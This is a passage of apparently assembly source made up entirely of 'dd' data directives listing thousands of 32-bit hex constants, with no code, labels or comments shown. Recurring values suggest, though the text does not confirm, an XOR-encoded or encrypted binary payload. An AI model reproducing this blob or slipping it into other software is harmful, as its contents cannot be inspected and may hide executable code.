0AF167AC3h, 3308E4E3h, 58CDE060h dd 44239B69h, 2EDB1566h, 92321566h, 856BCE67h, 161A7CA0h dd 0ABA3989Dh, 38973AE3h, 35B1EC60h, 42103FDFh, 11B61A66h dd 0E8321565h, 0BB3B90A0h, 0AD741344h, 22321560h, 0B609F7F6h dd 0B95A7791h, 0B1C883A8h, 119BA099h, 9CCE1344h, 0AA08E4E3h dd 0CD3D7560h, 22321560h, 11329A69h, 61521566h, 44321577h dd 0A7E67AF3h, 303BD137h, 0D1AEF473h, 0BD0AB5AEh, 0DC64AE54h dd 70530A07h, 1CBC599h, 6D979EE3h, 23BD1A60h, 0E8321566h dd 883A9569h, 0CE3D1566h, 22321564h, 94F47406h, 8E10266Fh dd 0CF547520h, 76D194AEh, 702C1F48h, 2F08C30Eh, 443EFC9Ah dd 68211566h, 4155B3D1h, 5764FB46h, 0F1CDAAF4h, 241026CFh dd 11239569h, 84DB1566h, 56321566h, 71E5271Eh, 0EA5FFC95h dd 8786D0D0h, 44321DE1h, 20B31A66h, 71321566h, 79B79807h dd 0BD34375Ch, 0A83DC599h, 11321569h, 88321F8Fh, 0B7FFAF66h dd 0EE6AD45h, 9885130Fh, 0A1978EE3h, 0C1F4E960h, 2410266Fh dd 10B51A20h, 70321566h, 0B896150Eh, 953D75F4h, 1137FD90h dd 82881566h, 22CAF5D6h, 0B6DED4E7h, 0A4CD743Eh, 8E1026CFh dd 443C9E69h, 2D521566h, 113215E5h, 0C7FA9466h, 2547ADD1h dd 8B7306h, 0E0B973BFh, 79B79807h, 2434375Ch, 43FD9E00h dd 9B3DC599h, 8832156Dh, 4432138Fh, 52386F66h, 98C9A3BFh dd 0A1978AE3h, 48BB1A60h, 0CB321566h, 11321561h, 45B5E0B7h dd 82171818h, 11CE3h, 91525360h, 336255BCh, 351992F1h dd 485A7438h, 0EDC4C129h, 2187EA9Fh, 0AD343755h, 2232156Fh dd 0EA591DB2h, 0FC960EA2h, 0B5B798FBh, 0D734375Ch, 7152C599h dd 6AB35DD6h, 16667E1h, 2226FC07h, 9C871566h, 1AEFE8FDh dd 8B8F89C3h, 777C362Fh, 0B27DA067h, 1533F0Ch, 6D97B6E3h dd 25BB1A60h, 1E321566h, 883214ECh, 0C1F4EC66h, 2410266Fh dd 0AE547520h, 0E0535F54h, 0D0FF4581h, 8B87EA9Fh, 71343755h dd 0A3E9AE00h, 44BE1A37h, 7B321566h, 0E0B79807h, 7D34375Ch dd 4B52C599h, 223216E4h, 0C1B97366h, 7AB37334h, 2569B753h dd 87BD90EFh, 9C3D134Fh, 88321561h, 44339269h, 0E4C71566h dd 33011CE3h, 83D5360h, 4432156Eh, 22309E69h, 70521566h dd 0AA462E0Eh, 4DBD1AD7h, 42321566h, 62E9AF00h, 0E9F39E00h dd 779BA099h, 0CB521344h, 11321563h, 365B4163h, 0C1BF748Eh dd 24102F97h, 0F8E2EA9Eh, 88321568h, 3F41A642h, 8392B238h dd 70606BBEh, 0DBBE917h, 421BB0F5h, 0F18D1A06h, 11379469h dd 9541566h, 25E8BBACh, 113B90A0h, 71741344h, 88321B8Fh dd 0F4E11266h, 4D1BCAD5h, 0C6FC21FEh, 9A89519h, 26355895h dd 0CF5A744Fh, 1EED6C8Ch, 883200EEh, 0C63D7566h, 22321566h dd 1132128Eh, 39C38F66h, 0AF218313h, 28DB7439h, 43321566h dd 0C6D5D800h, 7825DE57h, 8B87EABEh, 0ED343755h, 0B2C390EBh dd 0CF3D1344h, 22321569h, 11321F8Fh, 0EFA9CA66h, 0C2E64FE9h dd 0DDFC4C1Ch, 113BFCB6h, 48E71566h, 8F9E401Dh, 0AB2F9A26h dd 389782E3h, 883EFC60h, 95B31566h, 45DA5F1Ch, 1BB17FD4h dd 35B1F589h, 421031E7h, 0A9B71A66h, 0F8321566h, 8832156Dh dd 0F44E8392h, 4B4615E4h, 0D74A69F8h, 0AA011CE3h, 48DB4660h dd 22321566h, 0AC94B875h, 7F0C8AE7h, 2C8A4945h, 0EC8CF538h dd 11269669h, 87DB1566h, 9C321566h, 8B5E79E7h, 7AB56699h dd 0D57AE01Eh, 0F1CDB058h, 241026CFh, 15B61A06h, 0EE321566h dd 25E949DEh, 18C390EBh, 71CB1344h, 0D61ACCE7h, 4B524545h dd 223215EDh, 70694366h, 87E2EA07h, 443214ECh, 0A7BBEC66h dd 171BB055h, 8832108Fh, 4B019B66h, 0A7F4F7FFh, 1710266Fh dd 8837FC21h, 6F251566h, 4AF77165h, 0D6834BE1h, 88321E8Fh dd 8F223C66h, 0D2FFAC22h, 0B6053D92h, 8832108Fh, 1B384666h dd 97CD378Eh, 171026CFh, 98DA759Ah, 0A7321566h, 9E67DE39h dd 287085A7h, 0F8BBB54h, 0FABEE267h, 7F3EB323h, 0BDF7953Eh dd 79B79807h, 4B34375Ch, 22320CE4h, 1126FC66h, 0F1B11566h dd 0A470B44Ch, 0C3717A3Ch, 0BE00B524h, 0F83383A5h, 94CD9850h dd 0FC8D1A06h, 1123FD34h, 0CDD31566h, 41842E95h, 825E009Ch dd 3C99A65Ah, 0D014173Ah, 0C1BB743Ch, 241BB051h, 1132058Fh dd 40107066h, 4F48DD25h, 0C97814Eh, 0EC38AC9Dh, 98F9650h dd 44343742h, 22BC9069h, 90521566h, 4FD353BEh, 5FD39405h dd 433D8EE2h, 223B90A0h, 0E8751344h, 4432198Fh, 3BEA0766h dd 0E5D9B0DDh, 0BE67B003h, 4426FDFEh, 5C641566h, 0BD90ED26h dd 0CE857F88h, 3F804BEAh, 0EC4F5119h, 706C9D18h, 0EA4C100Eh dd 0F1CDE080h, 241026CFh, 0E0B79893h, 7134375Ch, 2252C599h dd 0C160FCE7h, 70E8AA69h, 2D0990EFh, 0AC52134Fh, 22321572h dd 0A15685F5h, 2DBC2FDCh, 0DCD855E6h, 4CC8018Fh, 5B51437Ch dd 1E89400h, 0C5544FBCh, 432FCDA9h, 223B90A0h, 61711344h dd 44321577h, 78C6FFA2h, 615593ADh, 5A87C7DAh, 3DDF2F2h dd 2BC47D38h, 17DB871Ch, 43321566h, 4C4BD4D1h, 8B87EA70h dd 0E4343755h, 0B2C390EBh, 49DB1344h, 0C4321566h, 58D41D0Fh dd 11AC6962h, 0FFC8FE25h, 0A53DC599h, 1132156Ah, 88349369h dd 0C03D1566h, 22321566h, 0B40D90EFh, 8FDB134Fh, 2F321566h dd 0C1DC42A3h, 94F441F6h, 8E10266Fh, 4CDBEC25h, 73321566h dd 906FA82Ch, 0E0128059h, 0B8138246h, 22299B69h, 0F9521566h dd 88321577h, 6BA1F902h, 1556702Bh, 2B17C25h, 9C8F5EC0h dd 25524F08h, 8B87EA07h, 0F8343755h, 88321575h, 730A6B98h dd 7D5618D1h, 0CD2899A4h, 1726055h, 0C97CDD21h, 8E4E3h dd 0C1CDED60h, 882A9369h, 0AD521566h, 2232156Dh, 0A536549Dh dd 0F7DEE5B3h, 0C57377E9h, 0C12FDBB5h, 94BB742Bh, 8E1BB025h dd 0C58F9693h, 22343742h, 100D9069h, 60521566h, 44321568h dd 8E86A84Dh, 5BBCCC7Eh, 502A50C2h, 4EDBCE19h, 65321566h dd 0CCD5F762h, 2740CE22h, 4ADB4AE5h, 31321566h, 0AC0D0CB2h dd 0B9BE1A86h, 940950BFh, 0A7F474E1h, 1710266Fh, 8823FC25h dd 724E1566h, 4FB15657h, 5D41C3DBh, 36DB654h, 2C709D8Ah dd 0A932BD65h, 11321E8Fh, 0B1A4BE66h, 0ADA55248h, 987418BFh dd 229BA099h, 70521344h, 25EB9E00h, 18C390EBh, 0F8CE1344h dd 8832156Fh, 3FD6D231h, 323E9FDFh, 71E2EA52h, 88319A69h dd 81B21566h, 0A7BB74E0h, 171BB02Dh, 88321F8Fh, 0A9244066h dd 0A545CC85h, 0D7E4E519h, 0AA011CE3h, 4BDB5660h, 0F1321566h dd 11AB4823h, 1EE6BF83h, 0ED5AC07Ah, 0A83DA085h, 11321567h dd 0BEE77D9Eh, 0BBCAF03Dh, 1BCD3h, 1139FC60h, 0D051566h dd 4ABE0334h, 529C9E57h, 0E0B7989Bh, 8734375Ch, 44320FE2h dd 30DA7566h, 0FA321566h, 0DA1BFD8Ah, 38B6B2D4h, 6328DE78h dd 239CA853h, 77534E1Bh, 0F552E9B6h, 4311A7FDh, 0B47590EFh dd 6052134Fh, 44321572h, 5704BD9Dh, 4F155693h, 6E7875DDh dd 67C4BDDDh, 42FF3CEBh, 0E0B94E93h, 81B7D307h, 7343755h dd 10D37D9Fh, 0EEC7FFCCh dd 0AA01BCD3h, 4437FC60h, 9E5F1566h, 1EB7F15Fh, 883218E8h dd 443AFC66h, 7BBF1566h, 0A72BE859h, 0DBF3E5Dh, 42102F97h dd 0DAE2EA9Eh, 0B47D90EFh, 53D134Fh, 44321576h, 22321E8Fh dd 8BC72766h, 8B81A19Ch, 27C62CCAh, 113B90A0h, 71711344h dd 87C5AA69h, 443206E8h, 223CFC66h, 5E9E1566h, 7533D856h dd 0DC5CFD5Dh, 11C7F08Bh, 0BD057D07h, 0DA529197h, 8EC4943Dh dd 431C511Fh, 229BA099h, 5C71344h, 6608E4E3h, 0F2CDED60h dd 0D8CAAD06h, 9CDB70E1h, 6D321566h, 0DF19CC79h, 773E75CBh dd 0EC36E471h, 0C871F992h, 43BAFD63h, 0B46190EFh, 6052134Fh dd 44321560h, 0D36FF866h, 5DAB994h, 4A321566h, 0A8F85D6Ah dd 1C1A70DFh, 4D99612Ch, 94C23006h, 1CD37789h, 0F2B3733Ch dd 0D7530599h, 0AA011CE3h, 55DB5A60h, 1321566h, 51EE5405h dd 3AEFC850h, 0C699471Eh, 19C3D19Fh, 24A2C10Eh, 35475F1h dd 0FFD394A4h, 43002697h, 229BA099h, 84DB1344h, 6C321566h dd 9E958F66h, 179C1C5Dh, 5675398h, 6608E4E3h, 25B81A60h dd 1E321566h, 883214E8h, 94CDE066h, 0A7BB7406h, 171BB031h dd 8832188Fh, 7CC7FD66h, 0FFD5412h, 0D7EF1C9Eh, 0DF43ADFh dd 4210266Fh, 223BFC29h, 6FC81566h, 0EE8F287Ah, 2CF85A80h dd 0DB5C1B64h, 70527506h, 88329969h, 0CF531566h, 97CD74B0h dd 171026CFh, 88339C69h, 0C9CE1566h, 8E4E3h, 0C1CDED60h dd 0D3B79C9Eh, 0AD343CC3h, 2232156Eh, 14D206C3h, 0FFF29482h dd 773B90A0h, 427F1344h, 79534E34h, 40056C2Fh, 44399A69h dd 44521566h, 0C1F8F3E7h, 58B7AC00h, 0ED87EA07h, 0DA343755h dd 2BC390EBh, 85DB1344h, 1321566h, 4BD1622h, 0B3D8F73Fh dd 4EFADA50h, 0ADE2EA9Eh, 22321569h, 5DD370DEh, 7A32053Eh dd 7EF9EB63h, 0AB4EF3B3h, 389776E3h, 883FFC60h, 650F1566h dd 0E7B10EE7h, 2F0A6A99h, 4E7A483Ch, 66011CE3h, 9C525860h dd 63A6D117h, 0C5BB7D07h, 0C452C991h, 2FDBC7A7h, 92321566h dd 7B5CD076h, 2AAACC7Ch, 65A5606Eh, 17B21A07h, 0E8321566h dd 25527406h, 8B87EA07h, 0E8343755h, 88321C8Fh, 24FC7266h dd 87D5AF01h, 94BF0839h, 8E102F97h, 44321A8Fh, 13233666h dd 0C2B57E42h, 0E4A69456h, 0FF117177h, 0A23DC599h, 11321562h dd 0E9EC9E06h, 24FEA706h, 3944FFD9h, 11BD1A29h, 0E9321566h dd 1BB79C07h, 2D343CC3h, 113212E0h, 3547566h, 25EF9FA1h dd 113B90A0h, 0E4671344h, 931F220Eh, 4DDB75FAh, 8B321566h dd 0F12AA801h, 0EE917EF6h, 44309869h, 43521566h, 9A527507h dd 35274A4h, 8AD8949Eh, 4334092Fh, 0B887EA07h, 7D343755h dd 7EC390EBh, 44521344h, 70C7CAEDh, 13DC599h, 44321567h dd 45B79C93h, 0F8343CC3h, 88321572h, 52030682h, 7605CA87h dd 48ECE2F5h, 345F45CCh, 65B7F15Fh, 22339D69h, 0D7C71566h dd 0AA011CE3h, 4BDB5660h, 0B3321566h, 3FAEF5D2h, 0CA218A2Ah dd 0E999260Ch, 85AC3E8h, 0F8E0C096h, 8832156Ch, 49B4D4BCh dd 374BF15Bh, 0A4CD880Fh, 8E1026CFh, 443B9269h, 42521566h dd 0C8B37307h, 87538AA0h, 443200E4h, 99547566h, 1BDB7DEAh dd 0C3321566h, 0F0A5391Ch, 0D0D23F38h, 94BF7443h, 8E102F97h dd 44339F69h, 0DDCB1566h, 94BBECB6h, 8E1BB00Dh, 44321A8Fh dd 670D2466h, 8AF91067h, 0B54F7825h, 1F0FB72h, 113B90A0h dd 0F8601344h, 8832156Eh, 884AC97Fh, 8D6DB2B5h, 5386FF0Eh dd 93BB1A9Bh, 24321566h, 33DA4F31h, 54321566h, 582140D6h dd 627C57A9h, 5A60AA0Ch, 161DB894h, 3DCD743Eh, 421026CFh dd 0F1B37306h, 16DB0B53h, 0DA321566h, 0B105A30Bh, 2D53BF6Bh dd 11321DECh, 8AB61A66h, 24321566h, 0D3B79807h, 0F834375Ch dd 88321575h, 870F47C4h, 723A76FAh, 0B1C0285Dh, 6A23D764h dd 0BBAF02D4h, 23BC1AB6h, 0E8321566h, 882B9569h, 50DB1566h dd 0AA321566h, 74CD1E19h, 0FD266778h, 0F3D3EB9Dh, 9A986461h dd 98E0D213h, 0AA32B8E3h, 51B71A60h, 42321566h, 0F9F49E00h dd 8832156Ch, 0D1E62A5Ch, 0D2AD6611h, 706B49D0h, 0BB3B90A0h dd 24751344h, 22321A8Eh, 0CA959A66h, 0E262C4D1h, 0E34E6EDFh dd 0A1613218h, 11329769h, 36A1566h, 48DB7494h, 0A0321566h dd 0E10F146Bh, 0E3E6A062h, 2C5587B1h, 0C0AA4CFFh, 112A9969h dd 9BDB1566h, 0CD321566h, 84BD9663h, 55896769h, 0BD42434Fh dd 0CB84E0C0h, 97CD2B55h, 171026CFh, 883E9E69h, 0C43D1566h dd 22321560h, 11329469h, 0DBF1566h, 42102F97h, 0EBB37306h dd 0A63DD9AAh, 58CD7490h, 86B8E006h, 4DB79C07h, 71343CC3h dd 88321A8Fh, 0F6670C66h, 0B5CCE06h, 0E4A1074Eh, 5DB83D17h dd 258FCAE6h, 113B90A0h, 0E8751344h, 7552D70Eh, 48DB75D7h dd 6D321566h, 7E854CB3h, 3A899500h, 14479E30h, 0D1EAAB00h dd 9A527439h, 7753EDACh, 6601BCD3h, 0A7BFE960h, 17102F97h dd 8ABA1A06h, 14321566h, 27B31A3Ch, 0AE321566h, 0D215B9BEh dd 0ADE2EA07h, 2232156Eh, 571CA394h, 0B715DF63h, 0E14190EFh dd 0E4CE134Fh, 33011CE3h, 9ADB5260h, 9E321566h, 0C70D04AFh dd 6531AE69h, 0CFA49444h, 94C5B029h, 0DC267DA5h, 9A3DCAC0h dd 8832157Fh, 72FA9406h, 0CB74E6AEh, 1132156Ah, 927F9791h dd 0F5D32515h, 0A37D9623h, 0B887EA07h, 61343755h, 44321576h dd 8583E6FDh, 7EE8A63Bh, 905BC3A5h, 66C5F28Ah, 25DA4506h dd 4A321566h, 64D7DF55h, 1A691C44h, 223C9E69h, 18DB1566h dd 6C321566h, 46F07880h, 39D0A5FAh, 0E0B79807h, 6134375Ch dd 44321560h, 0EFA3700Eh, 0C1CDFE3Eh, 883A9A69h, 0C5521566h dd 80F8D795h, 94BB7425h, 8E1BB011h, 4DB7D39Fh, 7D343755h dd 0E35A7D9Fh, 9528B36h, 32391197h, 0E0B37347h, 0EE537C75h dd 0AA01BCD3h, 0F9857560h, 0A33D749Ah, 11321573h, 69E6AB06h dd 4DDB289Ch, 0E0321566h, 1ECEF7E5h, 7B18F60Eh, 0B5B79807h dd 0DB34375Ch, 1EDBC599h, 8321566h, 0A65F1389h, 57B01A50h dd 0FEEF7DFFh, 80DBC5DBh, 6E321566h, 0F5BE8065h, 985CE35Bh dd 0A1976EE3h, 443FFC60h, 191566h, 27870BB8h, 0A4F02A5Eh dd 82BFC359h, 11CE3h, 9A525A60h, 0E9CB9EADh, 0B6B37306h dd 2CDB02C8h, 41321566h, 45DDB8D4h, 0F45316B0h, 0EB1D5A97h dd 2E5A74FAh, 61F5E91Dh, 44321569h, 0CC3AF4AFh, 911E88C8h dd 189E79A7h, 24188C21h, 0FECA76DFh, 70F89F64h, 0BB9BA099h dd 4EDB1344h, 93321566h, 0F309EAC7h, 6685CE2h, 8A8875E3h dd 97765B22h, 94BF7417h, 8E102F97h, 44321E8Fh, 0D19C9966h dd 5CD83ABCh, 0F237414h, 0CF52C599h, 43EA9FB0h, 0B49590EFh dd 0A3D134Fh, 44321577h, 2232198Fh, 0FEA68F66h, 91A4DE2Ch dd 0E6C75F7Fh, 2BB7D321h, 56343755h, 883E9869h, 0C33D1566h dd 22321560h, 11329669h, 0C45A1566h, 4BC84E08h, 22321EE2h dd 1134FC66h, 98571566h, 0B3201111h, 119BA099h, 933D1344h dd 88321564h, 4BDB7406h, 0FA321566h, 7CC83857h, 6A1483E8h dd 0D54EB827h, 0A7BF3A60h, 17102F97h, 79B2E006h, 94CD74A0h dd 22321E8Fh, 39ED366h, 0D8665329h, 20313E71h, 879990EFh dd 0D7CB134Fh, 0AA011CE3h, 2CC75260h, 0E13431ABh, 0A4CDE993h dd 8E1026CFh, 4432048Fh, 0F7790B66h, 1F80362Bh, 5E006419h dd 723221BCh, 0A7BFF1FBh, 17102F97h, 8820FC06h, 99BA1566h dd 0FC53FCA9h, 22993C65h dd 3FAA5DFCh, 0A09FAC02h, 2C08DAE7h, 0EE535E8Bh, 883FFCB6h dd 0F5691566h, 3F5006D9h, 6F2CACC1h, 178173Eh, 6D97BAE3h dd 2237FC60h, 0D3321566h, 4EBDEFF1h, 66011CE3h, 2EDB4A60h dd 0FC321566h, 0B87389Ch, 27AD8919h, 4A36C23Bh, 0C58975AAh dd 88249269h, 55DB1566h, 3B321566h, 158B7801h, 76B9740Ah dd 51883897h, 18699ECAh, 229BA099h, 23D1344h, 44321567h dd 0D3B7989Ah, 0F834375Ch, 88321561h, 38E4A932h, 0DD59EE16h dd 298775B6h, 0F7B79C07h, 0AD343CC3h, 2232156Eh, 620711Ch dd 0F118749Bh, 40B21A06h, 44321566h, 0F83459D9h, 8832156Bh dd 9D54B3A2h, 191484FAh, 0DDA87ADDh, 0DF47493h, 4210266Fh dd 2223FC39h, 5C581566h, 24080594h, 9A7F0BC0h, 3481CC71h dd 796F7845h, 16DB4128h, 4432128Fh, 66D15766h, 35F40BF7h dd 0BB9BA099h, 14521344h, 0FC1DCFE7h, 0AA6832E9h, 0A4B5AD38h dd 0B5B79807h, 0CB34375Ch, 11321575h, 235E53F1h, 38384BF2h dd 0B119D2C2h, 69318A1Ah, 77D13B3Bh, 0C1BBEDB6h, 241BB0E5h dd 18B7D39Ah, 0D7343755h, 44BB1A06h, 0CB321566h, 11321560h dd 0AB703781h, 2C53AE9Fh, 0F3213D2Eh, 113A9069h, 33D1566h dd 44321564h, 0A33D7406h, 11321567h, 2187EA9Eh, 24343755h dd 2232058Eh, 0D4F9FA66h, 0D4ECE591h, 3A66A143h, 5B3A17D0h dd 11B31AD7h, 0D0321566h, 44349869h, 0A23D1566h, 11321566h dd 79B79807h, 2434375Ch, 2238FD06h, 371F1566h, 0C3011F29h dd 7B6F6EEEh, 43D99F3Fh, 709BD6E6h, 252C599h, 0D31CAB8Dh dd 0AB53742Dh, 389792E3h, 883DFC60h, 24F71566h, 991A4D92h dd 126672BCh, 2D7C2679h, 4439FC26h, 11DA1566h, 51730A47h dd 0BC212C03h, 24367F7Dh, 2232058Fh, 9176B166h, 891E398Fh dd 2860A48h, 4582D255h, 0D2851AECh, 8822FC07h, 0EF0C1566h dd 720D4368h, 0C5554F0Eh, 2BEC73Bh, 445A0967h, 0DA321576h dd 1122150Eh, 83B61A66h, 24321566h, 60B142D9h, 258A7338h dd 8858744Fh, 44321C8Fh, 5D386666h, 1005777Bh, 1DCDBE61h dd 42100E3Fh, 2232018Fh, 18201B66h, 483E4F71h, 63582B2Eh dd 9A262279h, 0EF3ECD49h, 25B79C6Ah, 0B134377Eh, 4DD690EBh dd 7752134Fh, 8C652DEh, 0B85344ABh, 48CAC599h, 0AA547562h dd 58B97BF0h, 54327D07h, 31DB1566h, 93321566h, 4FB340A8h dd 397A0098h, 0D88349CCh, 0E80DE07Fh, 885ACAB9h, 0B8321546h dd 7452150Ch, 4EFDAA69h, 0E9E29E00h, 5F6B8099h, 0A13D1344h dd 11321575h, 88321B8Fh, 68E4F966h, 0C4BA6595h, 0C381C0AFh dd 1A6EC54h, 66291CE3h, 2238FC60h, 24301566h, 0D36DA656h dd 7E85ABF8h, 36A790EFh, 7BC71344h, 885AEC26h, 4B321576h dd 223219E6h, 17B01A66h, 87321566h, 443215EBh, 22327D66h dd 7BCB1567h, 0BE8A7566h, 25444769h, 396B8099h, 98CB1344h dd 0AA035CE3h, 0A6B37560h, 89A3158h, 933D7493h, 8832156Dh dd 4432138Fh, 66CB1766h, 9A469EA1h, 0AA1EC0D3h, 443AFC60h dd 2F841566h, 575D820Bh, 61524392h, 44321568h, 5671C1CBh dd 0C9546284h, 1ED95A6Bh, 0CF54D21Fh, 0BFB9749Dh, 17103497h dd 3F3DE006h, 0F1BB749Fh, 2410207Fh, 1132068Fh, 32A33D66h dd 8C0F5C07h, 77CE0542h, 60DBAA61h, 0D84AE92h, 6C1F88EFh dd 0A9CB1344h, 3313E4FBh, 81DBEC60h, 95321566h, 719A9BA1h dd 442687B4h, 35672699h, 2CCB16ACh, 26167957h, 0E0B34C3Bh dd 0E0CB16ACh, 44339869h, 0A1CA1566h, 953D159Fh, 88322D85h dd 45B51A06h, 0DB321566h, 0F6BB4207h, 8836D2E7h, 0ABB11566h dd 60E9262h, 35369C3Ah, 88339F69h, 17CE1566h, 0E1B3F6EFh dd 11321562h, 8836FEE7h, 58B51566h, 2EBB4942h, 0AF547542h dd 80DA5F75h, 0EE321566h, 175A3454h, 480C6D68h, 0B9CE7507h dd 0C1BBECA6h, 24103913h, 0AB60449Eh, 8832155Ah, 0CD68C4EFh dd 28DB4CA8h, 0B2321566h, 0B787643Eh, 0D86FD3DFh, 54894693h dd 0E64F8F60h, 8DD1D4B5h, 6A5DE6E7h, 0FC1B6FC6h, 3546163Dh dd 0C7F49446h, 0B8040A79h, 2D52B800h, 4652CAD9h, 88B01A38h dd 25321566h, 2220FC07h, 5FA11566h, 0C456C9A3h, 1C5F212Bh dd 0A7E432EDh, 58F4F86Dh, 0B102C24Bh, 60761669h, 0B28D4246h dd 90125728h, 0F34C5291h, 1BCA1449h, 223E9F69h, 973D1566h dd 88321560h, 44329969h, 0A03D1566h, 1132156Ah, 88349469h dd 0C53D1566h, 22321566h, 904A6599h, 0A0B53152h, 156C0787h dd 0C31A92DFh, 48FC2474h, 8832068Fh, 0BE5FBB66h, 9F5CF2CBh dd 73D1B5FFh, 2EEC6F2Bh, 4D70550Eh, 7432AF34h, 0E3B3558Bh dd 9D821C86h, 4768C34Fh, 0A3123112h, 4C6DF5A0h, 89B91A33h dd 0B1321566h, 0A92A6399h, 0D5B1315Ah, 82BD1A62h, 0AD321566h dd 22321563h, 0E9B2B87Bh, 158F9C04h, 0AD343740h, 22321560h dd 1800D7DBh, 77B72211h, 44189069h, 0CACE1566h, 11324AA5h dd 9ABE1A06h, 0AD321566h, 2232156Bh, 7B03AAF9h, 0F2158AE6h dd 91B9E3A6h, 438D736Bh, 5DB74C3h, 7D321563h, 4407E00Eh dd 63E9C66h, 11239269h, 8521566h, 43DB2488h, 6C321566h dd 0DDFB6A30h, 9532234h, 4432118Ah, 60E9C66h, 0B61639E7h dd 0D2566477h, 5595D7E7h, 49CA7117h, 98C711B4h, 0AA06D8F3h dd 56B61A60h, 0CB321566h, 1132156Bh, 32067122h, 1EDB73D0h dd 0EF313748h, 1E367F44h, 883214EBh, 445AED66h, 0DB321576h dd 90D39C37h, 883211A7h, 40DB9666h, 7E1619E1h, 711601EFh dd 0A5C59400h, 2585A01Bh, 0A83D150Ch, 11321567h, 89B21A9Fh dd 0B8321566h, 396B8099h, 91521344h, 8FDAE58Ah, 48321566h dd 214677EEh, 0A63D3899h, 87534E90h, 443214EBh, 0A7BBED66h dd 17101797h, 88339C69h, 17C71566h, 0F8BBD6EFh, 921609EDh dd 87CB11A2h, 443214E5h, 2EB9E966h, 0F1BB4542h, 88321163h dd 40F29666h, 7E1611E1h, 4F83FD93h, 0E8C71566h, 44349C69h dd 0AD3D1566h, 11321566h, 375A749Fh, 0CD32154Ah, 9B523152h dd 23DA6DDBh, 9F497DDEh, 249F742Eh, 22321C8Eh, 0F364AE66h dd 1D659777h, 0B7B8576Eh, 2235FC3Ch, 19AF1566h, 0FD0523BCh dd 0AC52745Ah, 22321563h, 477D3764h, 6FB37328h, 4B6CAD96h dd 223218E7h, 113AFC66h, 0FB971566h, 9EDE2823h, 0F53D164h dd 5C4B7C77h, 0AC165165h, 2D23AE35h, 0FA33581Fh, 0E903E03Dh dd 7003D257h, 44321F8Fh, 28CCF766h, 0F7FB1C7Ah, 0DF3014DEh dd 0FE1639E7h, 794E5F01h, 7688A833h, 6333692Ch, 0C554753Bh dd 0CA018BBCh, 1132156Eh, 7865A2D7h, 74382F18h, 0F65A7438h dd 98321537h, 8752315Ah, 8FB3E6D1h, 7A98A6A8h, 0EDF22507h dd 7547BB93h, 4432018Fh, 0F17C6C66h, 311B036Fh, 5CBFF1E7h dd 0F5C46385h, 0EF109D2Ah, 25CDEC8Dh, 4CB14B42h, 40B71A62h dd 42321566h, 90534C36h, 6774E189h, 17ED3C7Fh, 0D5154EDDh dd 90795623h, 21F2FADh, 3DF19439h, 238BE571h, 903D4EB9h dd 88321567h, 0CD61ED9Ah, 26F19485h, 90321566h, 8832118Dh dd 602E9266h, 6269C3Ah, 113E9B69h, 0F3D1566h, 44321560h dd 22329B69h, 90651566h, 0D72F3152h, 17685F9Fh, 9910CFDDh dd 14D9D431h, 0F1CBFEE7h, 9E03A2A2h, 2237FC3Dh, 0A4151566h dd 3B17BF3h, 662AB8DBh, 2239FC60h, 574A1566h, 41960BD9h dd 193F33EDh, 0DDCDACB7h, 5DBEA99h, 0B6321566h, 0EF5E53F1h dd 5E384BF2h, 8219D2C2h dd 0F0318A1Ah, 75D13B3Bh, 2226FCA6h, 2C341566h, 3E200889h dd 0F0C0FCE8h, 32F6076Dh, 0E8A5023Ah, 64B333A1h, 44321562h dd 991609EFh, 11321566h, 8BB8E667h, 443FFC3Dh, 0FE141566h dd 4548B6F9h, 70C7272h, 74D18E4Dh, 23B31AAEh, 0E8321566h dd 77CDAA31h, 0BA1BEA99h, 953D7539h, 7015A1B4h, 0D0B52199h dd 443E9F69h, 0AE3D1566h, 11321560h, 88329A69h, 0ADF31566h dd 0E303EC6Eh, 0EAB97306h, 882A9A69h, 57DB1566h, 0CC321566h dd 694C2B92h, 0C4019068h, 561CDF14h, 0FC27A90Fh, 5B536189h dd 77539069h, 0CE52EA99h, 73637485h, 0E078D6DFh, 0AC7E3C38h dd 416A4C62h, 7CC35FA5h, 0D8B37306h, 3254CA43h, 2C53C168h dd 22322288h, 0E61611EFh, 616A3172h, 4432156Dh, 10EE5E91h dd 0A2E2D275h, 32C5919h, 0CD673172h, 26F79483h, 92321566h dd 0A4B511A3h, 0C53D4942h, 22321561h, 488EAD06h, 0DB5376A0h dd 443215DDh, 91F19466h, 10430942h, 3BD994B5h, 0CD430942h dd 0AB3D4E65h, 11321567h, 8C8A459Ah, 45321566h, 6369EA4h dd 1136D1E7h, 61521566h, 44321576h, 91166C93h, 0B66C6E15h dd 0F6EAB4C6h, 0B8437434h, 7353C5ECh, 0D0B3F4EFh, 88321562h dd 4436FCE7h, 2EB51566h, 5BB4942h, 883FFC42h, 54B1566h dd 88503BFCh, 9DF423ADh, 71D8D5B8h, 68479099h, 25DB1344h dd 0C1321566h, 44B744D2h, 0D1B95D28h, 24103913h, 112F9769h dd 63D1566h, 44321571h, 2232078Fh, 0AC5CF266h, 0EAD1B5FFh dd 0E2EC6F2Bh, 2B70550Eh, 28589F81h, 0AA1488F3h, 0C3B61A60h dd 0CB321566h, 11321576h, 9709D8Ah, 0C0526D0h, 37637169h dd 1F2608F7h, 0D2162199h, 4436D1E7h, 2CDB1566h, 5B321566h dd 0C2D3AE03h, 64962CBh, 8F509624h, 3506EAB9h, 8CF69438h dd 24321566h, 22309F69h, 16811566h, 722FAB00h, 0E7894607h dd 695AF913h, 5279CE91h, 0FD94D6E7h, 9A337D8Ah, 2238FC3Dh dd 50E81566h, 28E16293h, 3A0BD33Bh, 0DDCE508Fh, 1EBE1A99h dd 61321566h, 4432156Ch, 119CD903h, 88837849h, 9CB9638Ah dd 0A5BB4442h, 2236D4E7h, 0D0B31566h, 88321562h, 181619E1h dd 6069E9Eh, 90D39C37h, 883211A7h, 40F39466h, 0A5321566h dd 0F86E316Ah, 88321575h, 0C7F1DF3Fh, 0BE397B8Bh, 8C66A0Dh dd 0C1069C79h, 2528044Ch, 2232048Fh, 0FDED4566h, 0AD9CB31Ah dd 0EA9BA858h, 2E154400h, 25CD91D9h, 4CB14C42h, 0FE547562h dd 0C2B31526h, 57840F5h, 0AC06EA07h, 40F6963Eh, 0FB7D293h dd 11343760h, 0E8321566h, 1CA1E2E7h, 43CE609Bh, 1EF390A1h dd 88321344h, 4CDB1566h, 13321566h, 6C438580h, 0BC6237Fh dd 6D96FADBh, 0A63D1560h, 11321540h, 56B37306h, 92B9C96Ah dd 55AF9807h, 1E343DDCh, 883214EAh, 97CDEC66h, 21BC1A06h dd 1E321566h, 373DDFD1h, 0C1CD74AFh, 24102643h, 348F969Ah dd 0EC343755h, 46449769h, 0A9521566h, 76DD94ACh, 